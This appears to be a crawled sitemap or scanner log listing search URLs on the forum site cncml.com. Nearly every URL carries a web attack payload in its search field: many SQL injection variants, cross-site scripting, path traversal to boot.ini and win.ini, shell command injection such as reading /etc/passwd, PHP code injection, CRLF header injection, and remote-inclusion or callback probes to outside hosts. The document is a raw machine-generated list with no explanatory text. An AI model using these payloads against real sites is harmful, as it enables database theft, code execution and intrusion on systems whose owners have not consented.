http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(85=38)%20THEN%200x7A6272757368347234%20ELSE%200x28%20END))%20AND%20(85=85 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4,(SELECT%20(CASE%20WHEN%20(84=85)%20THEN%200x7A6272757368347234%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4,(SELECT%20(CASE%20WHEN%20(91=19)%20THEN%200x7A6272757368347234%20ELSE%2091*(SELECT%2091%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4,(SELECT%20(CASE%20WHEN%20(95=52)%20THEN%200x7A6272757368347234%20ELSE%2095*(SELECT%2095%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r41 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4AND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4a' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=%3Cdir 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=');print(md5(1122));// 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=(SELECT%20(CASE%20WHEN%20(15=98)%20THEN%200x7A6272757368347234%20ELSE%2015*(SELECT%2015%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=................windowswin.ini 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=;print(md5(1122));%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=C:%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=dir 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=file:///c:/boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=phpinfo 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=response.write(9412458*9542755) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=set%7Cset&set 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4 0.0014 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%00' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25%27%29%20AND%2011%3D21%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND%2071=31%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(52=99)%20THEN%20'zbrush4r4'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%2527 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%2527%20AND%2012=81%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=692490b7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 